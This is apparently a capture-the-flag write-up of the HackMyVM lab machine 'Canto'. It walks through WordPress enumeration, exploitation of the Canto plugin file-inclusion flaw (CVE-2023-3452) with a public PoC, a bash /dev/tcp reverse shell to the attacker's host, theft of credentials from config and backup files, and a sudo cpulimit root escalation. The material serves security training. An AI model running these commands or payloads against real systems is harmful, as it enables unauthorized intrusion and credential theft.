Canto

Canto is an easy machine from HackMyVM. The process begins with an nmap scan to identify open ports and services, revealing an OpenSSH and Apache server running on the target. Subsequent WordPress enumeration using wpscan identifies plugins, including a vulnerable version of the Canto plugin. Exploitation of these vulnerabilities is demonstrated using a Python script, which allows for remote command execution. Gaining initial access as the www-data user, the attacker then extracts WordPress credentials from configuration files and MySQL database, eventually obtaining a password for a user. Privilege escalation is achieved by exploiting a sudo permission for the cpulimit command, ultimately granting root access.

ENUMERATION

Lets begin as always with an Nmap Scan:

target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 $target | grep '^[0–9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -sVC $target

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.3p1 Ubuntu 1ubuntu3.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c6:af:18:21:fa:3f:3c:fc:9f:e4:ef:04:c9:16:cb:c7 (ECDSA)
|_ 256 ba:0e:8f:0b:24:20:dc:75:b7:1b:04:a1:81:b6:6d:64 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Ubuntu))
|_http-title: Canto
|_http-server-header: Apache/2.4.57 (Ubuntu)
|_http-generator: WordPress 6.5.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

https://github.com/josemlwdf/CTFEnum

ctfenum got this:

WordPress 6.5.3

I have done an scan of the site using wpscan:

wpscan -url http://$(IP) -enumerate -api-token LeAEa…SNIP…UThs -detection-mode aggressive -disable-tls-checks

[+] XML-RPC seems to be enabled: http://192.168.56.116/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[i] User(s) Identified:
[+] erik
| Found By: Wp Json Api (Aggressive Detection)
| - http://192.168.56.116/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

Nothing really interesting, let’s focus more on plugins:

wpscan -url http://$(IP) -enumerate ap -api-token LeAE…SNIP…UThs -plugins-detection mixed -disable-tls-checks

[+] Enumerating All Plugins (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:03:40 <======================================================================> (105750 / 105750) 100.00% Time: 00:03:40
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] akismet
| Location: http://192.168.56.116/wp-content/plugins/akismet/
| Latest Version: 5.3.2 (up to date)
| Last Updated: 2024–05–31T16:57:00.000Z
| Readme: http://192.168.56.116/wp-content/plugins/akismet/readme.txt
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.56.116/wp-content/plugins/akismet/, status: 200
|
| Version: 5.3.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.56.116/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.56.116/wp-content/plugins/akismet/readme.txt
[+] canto
| Location: http://192.168.56.116/wp-content/plugins/canto/
| Last Updated: 2024–05–13T08:21:00.000Z
| Readme: http://192.168.56.116/wp-content/plugins/canto/readme.txt
| [!] The version is out of date, the latest version is 3.0.8
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.56.116/wp-content/plugins/canto/, status: 200
|
| [!] 3 vulnerabilities identified:
|
| [!] Title: Canto <= 3.0.8 - Unauthenticated Blind SSRF
| References:
| - https://wpscan.com/vulnerability/29c89cc9-ad9f-4086-a762-8896eba031c6
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28976
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28977
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28978
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24063
| - https://gist.github.com/p4nk4jv/87aebd999ce4b28063943480e95fd9e0
|
| [!] Title: Canto < 3.0.5 - Unauthenticated Remote File Inclusion
| Fixed in: 3.0.5
| References:
| - https://wpscan.com/vulnerability/9e2817c7-d4aa-4ed9-a3d7-18f3117ed810
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3452
|
| [!] Title: Canto < 3.0.7 - Unauthenticated RCE
| Fixed in: 3.0.7
| References:
| - https://wpscan.com/vulnerability/1595af73-6f97-4bc9-9cb2-14a55daaa2d4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25096
| - https://patchstack.com/database/vulnerability/canto/wordpress-canto-plugin-3-0-6-unauthenticated-remote-code-execution-rce-vulnerability
|
| Version: 3.0.4 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.56.116/wp-content/plugins/canto/readme.txt
| Confirmed By: Composer File (Aggressive Detection)
| - http://192.168.56.116/wp-content/plugins/canto/package.json, Match: '3.0.4'

EXPLOITATION

The RCE vulnerability does not have a public PoC yet so i have focused on the RFI one.

https://github.com/leoanggal1/CVE-2023-3452-PoC

python CVE-2023–3452.py -u http://$(IP) -LHOST 192.168.56.1 -c 'id'

Local web server on port 8080…
Exploitation URL: http://192.168.56.116/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.56.1:8080&cmd=id
172.19.128.1 - - [06/Jun/2024 15:19:40] "GET /wp-admin/admin.php HTTP/1.1" 200 -
Server response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

So… we have RCE, let’s send a bash reverse shell then…

python CVE-2023–3452.py -u http://$(IP) -LHOST 192.168.56.1 -c 'bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.1%2F6666%200%3E%261%22'

Exploitation URL: http://192.168.56.116/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.56.1:8080&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.1%2F6666%200%3E%261%22
Local web server on port 8080…
172.19.128.1 - - [06/Jun/2024 15:22:11] "GET /wp-admin/admin.php HTTP/1.1" 200 -

Get joseml’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

It hangs so it’s a good sign. In our nc:

nc -nlvp 6666
listening on [any] 6666 …
connect to [172.19.142.179] from (UNKNOWN) [172.19.128.1] 54647
bash: cannot set terminal process group (773): Inappropriate ioctl for device
bash: no job control in this shell
www-data@canto:/var/www/html/wp-content/plugins/canto/includes/lib$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@canto:/var/www/html/wp-content/plugins/canto/includes/lib$ hostname
hostname
canto
www-data@canto:/var/www/html/wp-content/plugins/canto/includes/lib$

ROOT

As usual i got a look of the “wp-config.php” file:

/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wordpress' );
/** Database password */
define( 'DB_PASSWORD', '2NCVjoWVE9iwxPz' );

Let’s check this database:

www-data@canto:/home/erik$ mysql -u wordpress -p

Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 12608
Server version: 8.0.36–0ubuntu0.23.10.1 (Ubuntu)
Copyright © 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use wordpress;

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed

mysql> select user_login,user_pass from wp_users;

+ - - - - - - + - - - - - - - - - - - - - - - - - - +
| user_login | user_pass |
+ - - - - - - + - - - - - - - - - - - - - - - - - - +
| erik | $P$BZk2jE4XrC91HKgRS83h0gICjM0bcB. |
+ - - - - - - + - - - - - - - - - - - - - - - - - - +
1 row in set (0.00 sec)

I have tried to crack the password but it does not crack so i went to run Linpeas.

╔══════════╣ Searching passwords in history files
/var/www/.bash_history:unzip dbbackup.zip
/var/www/.bash_history:su erik

Looking at the file:

www-data@canto:/home/erik$ cat /var/www/.bash_history
cd /var/wordpress
cd /var
cd /wordpress
export TERM=xterm
clear
ls
cd wordpress
cd wordpres
ls
cd backups
ls
clear
ls
ls -la
unzip dbbackup.zip
ls
clear
ls -la
su erik

So… let’s look at the folder showed on this bash_history.

www-data@canto:/home/erik$ cd /var/wordpress/backups/
www-data@canto:/var/wordpress/backups$ ls
total 12K
drwxr-xr-x 2 root root 4.0K May 12 17:15 .
drwxr-xr-x 3 root root 4.0K May 12 17:14 ..
-rw-r - r - 1 root root 185 May 12 17:14 12052024.txt
www-data@canto:/var/wordpress/backups$ cat 12052024.txt
 - - - - - - - - - - - - - - - - - - 
| Users | Password |
 - - - - - - | - - - - - - - - - - - |
| erik | th1...SNIP...rd! |
 - - - - - - - - - - - - - - - - - -

Now we can change to user erik:

www-data@canto:/var/wordpress/backups$ su erik
Password:
erik@canto:/var/wordpress/backups$ sudo -l
Matching Defaults entries for erik on canto:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User erik may run the following commands on canto:
(ALL : ALL) NOPASSWD: /usr/bin/cpulimit

Just looking at GTFOBins:

https://gtfobins.github.io/gtfobins/cpulimit/#sudo

erik@canto:/tmp$ sudo /usr/bin/cpulimit -l 100 -f /bin/bash
Process 35716 detected
root@canto:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@canto:/tmp# hostname
canto
root@canto:/tmp#

https://hackmyvm.eu/public/?u=josemlwdf

Congratulations! We have successfully completed this machine. Thank you for reading!